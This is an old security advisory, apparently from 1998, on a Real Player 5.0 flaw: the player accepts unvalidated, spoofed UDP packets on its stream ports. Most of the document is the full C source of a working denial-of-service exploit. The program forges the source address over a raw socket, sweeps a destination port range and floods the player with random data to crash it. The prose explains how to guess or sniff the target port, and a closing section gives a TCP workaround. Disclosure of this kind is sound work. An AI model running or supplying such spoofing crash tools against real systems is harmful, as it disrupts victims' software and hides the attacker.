COMMAND
Real Player
SYSTEMS AFFECTED
Win95, NT, Linux
PROBLEM
Following was a part of one rootshell advisory. Real Player 5.0
for Windows95 and Linux (others untested) do not check the
validity of incoming UDP packets used when receiving audio/video.
If you are able to determine or brute force the destination port
of the stream you are able to crash the player and cause it to use
100% of idle CPU. The client does not even check if the source IP
address is the one it is receiving data from. Any source IP can
be used. Generally the stack will start with port 1025 and go up.
Starting there and going up will generally give you good results.
If you are able to sniff the network you will know the exact port
and not have to guess. Exploit fillows:
/*
* Real Player Killer - 6/26/98
*
* (C) 1998 Kit Knox <kit@connectnet.com>
*
* [ http://www.rootshell.com/ ]
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <linux/udp.h>
#include <netdb.h>
#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }
char real_data[] =
{ 0x00, 0x00 };
unsigned short
in_cksum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long int saddr, daddr;
char *data;
{
struct iphdr ip;
struct udphdr udp;
static char packet[8192];
char crashme[500];
int i;
ip.ihl = 5;
ip.version = 4;
ip.tos = rand () % 100;;
ip.tot_len = htons (28 + datalen);
ip.id = htons (31337 + (rand () % 100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_UDP;
ip.check = 0;
ip.saddr = saddr;
ip.daddr = daddr;
ip.check = in_cksum ((char *) &ip, sizeof (ip));
udp.source = htons (sport);
udp.dest = htons (dport);
udp.len = htons (8 + datalen);
udp.check = (short) 0;
memcpy (packet, (char *) &ip, sizeof (ip));
memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
for (i = 0; i < 500; i++)
crashme[i] = rand () % 255;
memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
(struct sockaddr *) sin, sizeof (struct sockaddr_in)));
}
unsigned int
lookup (host)
char *host;
{
unsigned int addr;
struct hostent *he;
addr = inet_addr (host);
if (addr == -1)
{
he = gethostbyname (host);
if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
return 0;
bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
}
return (addr);
}
void
main (argc, argv)
int argc;
char **argv;
{
unsigned int saddr, daddr;
struct sockaddr_in sin;
int s, i;
if (argc != 5)
errs ("Usage: %s <source_addr> <dest_addr> <low port> <high port>\n", argv[0]);
printf("Real Player Killer - http://www.rootshell.com/\n\n");
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err ("Unable to open raw socket.\n");
if (!(saddr = lookup (argv[1])))
err ("Unable to lookup source address.\n");
if (!(daddr = lookup (argv[2])))
err ("Unable to lookup destination address.\n");
sin.sin_family = AF_INET;
sin.sin_port = 9;
sin.sin_addr.s_addr = daddr;
for (i=atoi(argv[3]); i<atoi(argv[4]); i++)
if ((sendpkt_udp (&sin, s, &real_data, sizeof (real_data), saddr, daddr, 2014, i)) == -1)
{
perror ("sendpkt_udp");
err ("Error sending the UDP packet.\n");
}
printf("Done!\n");
}
SOLUTION
Real Networks has been notified of the problem and has stated that
they will make a fix for their upcoming G2 release and are
considering making a patch available for all of the 5.0 players
out there. The only available workaround at this time is to
force your player to use TCP instead of UDP for streams in the
transport area of the preferences menu.